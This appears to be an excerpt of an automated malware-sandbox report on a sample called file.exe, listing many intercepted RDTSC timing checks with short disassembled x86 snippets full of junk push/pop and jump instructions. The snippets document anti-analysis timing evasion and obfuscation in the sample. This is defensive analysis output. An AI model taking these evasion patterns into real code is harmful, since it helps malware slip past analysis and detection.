Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11996F6 second address: 11996FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11996FB second address: 119970E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F32DCC6AEFBh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F494 second address: 119F49E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32DD0C5336h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F49E second address: 119F4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F32DCC6AEF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F4AC second address: 119F4D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F32DD0C533Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACCC5 second address: 11ACCDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACAF3 second address: 11ACB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jns 00007F32DD0C533Eh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 jmp 00007F32DD0C533Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B626A second address: 11B6298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF05h 0x00000007 jmp 00007F32DCC6AF05h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6298 second address: 11B62A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F32DD0C5336h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4B98 second address: 11B4BC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F32DCC6AEF6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F32DCC6AF08h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5103 second address: 11B5107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5107 second address: 11B510B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C539A second address: 11C53C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32DD0C533Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C53C2 second address: 11C53CC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32DCC6AEFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C91B6 second address: 11C91BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C91BC second address: 11C91EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F32DCC6AF06h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F32DCC6AEFAh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 js 00007F32DCC6AEF6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D654A second address: 11D6565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C5343h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66CC second address: 11D66D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66D0 second address: 11D66D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66D4 second address: 11D66E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F32DCC6AEF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7676 second address: 11E767D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E767D second address: 11E7683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7683 second address: 11E7689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7689 second address: 11E768D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E768D second address: 11E7691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E65CE second address: 11E65D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E69A0 second address: 11E69D8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32DD0C5336h 0x00000008 jmp 00007F32DD0C5345h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F32DD0C5349h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6DDE second address: 11E6DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6DE2 second address: 11E6DF1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E70E9 second address: 11E710C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF03h 0x00000009 jnl 00007F32DCC6AEF6h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E710C second address: 11E712B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C5341h 0x00000009 popad 0x0000000a pushad 0x0000000b jnl 00007F32DD0C5336h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA6D9 second address: 11EA727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DCC6AF00h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dh, bl 0x00000010 push dword ptr [ebp+122D2F91h] 0x00000016 jmp 00007F32DCC6AEFFh 0x0000001b call 00007F32DCC6AEF9h 0x00000020 jmp 00007F32DCC6AEFAh 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a js 00007F32DCC6AEF6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA727 second address: 11EA72D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA72D second address: 11EA744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F32DCC6AEF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED605 second address: 11ED60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED1BC second address: 11ED1D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830546 second address: 583054C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583054C second address: 5830579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32DCC6AEFCh 0x00000009 adc si, 79E8h 0x0000000e jmp 00007F32DCC6AEFBh 0x00000013 popfd 0x00000014 mov ch, DDh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830579 second address: 583057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583057D second address: 5830581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830581 second address: 5830587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830587 second address: 58305E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F32DCC6AEFEh 0x0000000b sub cx, 1778h 0x00000010 jmp 00007F32DCC6AEFBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c pushad 0x0000001d movzx ecx, di 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F32DCC6AF02h 0x0000002c or cx, 4108h 0x00000031 jmp 00007F32DCC6AEFBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58305E1 second address: 583060E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32DD0C533Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830642 second address: 5830699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F32DCC6AEFBh 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F32DCC6AF04h 0x00000014 mov ax, 7C21h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov edx, ecx 0x0000001e call 00007F32DCC6AF06h 0x00000023 movzx ecx, bx 0x00000026 pop ebx 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov esi, edi 0x0000002e mov ecx, ebx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110BCD second address: 1110BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110DED second address: 1110DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830DDF second address: 5830DFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830DFC second address: 5830E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DCC6AF07h 0x00000008 mov ecx, 1ACE37AFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830E25 second address: 5830E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830E3C second address: 5830E86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f pushfd 0x00000010 jmp 00007F32DCC6AF06h 0x00000015 or cl, FFFFFF98h 0x00000018 jmp 00007F32DCC6AEFBh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830E86 second address: 5830EB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32DD0C533Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830EB3 second address: 5830EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F32DCC6AF08h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830EE6 second address: 5830EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830EF5 second address: 5830F1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov di, si 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830F65 second address: 5830F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830F69 second address: 5830F86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830F86 second address: 5830DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F32DD0C5343h 0x0000000b and cx, B1FEh 0x00000010 jmp 00007F32DD0C5349h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0008h 0x0000001c nop 0x0000001d mov dword ptr [00F470C0h], eax 0x00000022 push 00C91310h 0x00000027 mov ecx, dword ptr [00F470A8h] 0x0000002d push ecx 0x0000002e call 00007F32E1C7C032h 0x00000033 mov edi, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850157 second address: 5850181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0B15B78Ah 0x00000008 mov cx, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F32DCC6AF09h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850181 second address: 5850186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850186 second address: 58501D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d jmp 00007F32DCC6AF04h 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F32DCC6AEFEh 0x0000001b xor ecx, 60D9B608h 0x00000021 jmp 00007F32DCC6AEFBh 0x00000026 popfd 0x00000027 movzx eax, di 0x0000002a popad 0x0000002b push ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov cx, dx 0x00000032 mov cl, dh 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58501D9 second address: 58501EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DD0C533Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58501EB second address: 58501EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58501EF second address: 585025C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007F32DD0C5347h 0x00000010 xchg eax, ecx 0x00000011 jmp 00007F32DD0C5346h 0x00000016 push eax 0x00000017 jmp 00007F32DD0C533Bh 0x0000001c xchg eax, ecx 0x0000001d jmp 00007F32DD0C5346h 0x00000022 push dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F32DD0C533Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585025C second address: 585026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585026B second address: 58502BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F32DD0C533Fh 0x00000009 sub ax, EC7Eh 0x0000000e jmp 00007F32DD0C5349h 0x00000013 popfd 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F32DD0C5344h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58502BE second address: 58502CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850521 second address: 585055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push dword ptr [ebp+0Ch] 0x00000009 jmp 00007F32DD0C5347h 0x0000000e push dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F32DD0C5345h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58307FE second address: 5830825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32DCC6AEFDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830825 second address: 583082B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583082B second address: 583082F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583091D second address: 5830923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830923 second address: 5830927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830927 second address: 58309B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F32DD0C533Ch 0x00000012 sub eax, 13A2C7A8h 0x00000018 jmp 00007F32DD0C533Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F32DD0C5348h 0x00000024 and al, 00000008h 0x00000027 jmp 00007F32DD0C533Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov esi, edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F32DD0C533Bh 0x00000039 add ax, 824Eh 0x0000003e jmp 00007F32DD0C5349h 0x00000043 popfd 0x00000044 mov si, EE57h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58309B0 second address: 58309C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AEFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edx] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58309C8 second address: 58309D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 00F1390Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58309D2 second address: 58309D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58309D8 second address: 58309F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32DD0C533Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58309F2 second address: 5830A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32DCC6AF04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A0A second address: 5830A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A0E second address: 58309C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F32DCC6AEFDh 0x00000011 and ecx, 17B37FF6h 0x00000017 jmp 00007F32DCC6AF01h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F32DCC6AF00h 0x00000023 and cx, 7918h 0x00000028 jmp 00007F32DCC6AEFBh 0x0000002d popfd 0x0000002e popad 0x0000002f jne 00007F32DCC6AE4Fh 0x00000035 mov al, byte ptr [edx] 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A86 second address: 5830A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A8A second address: 5830A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A90 second address: 5830A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A96 second address: 5830A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
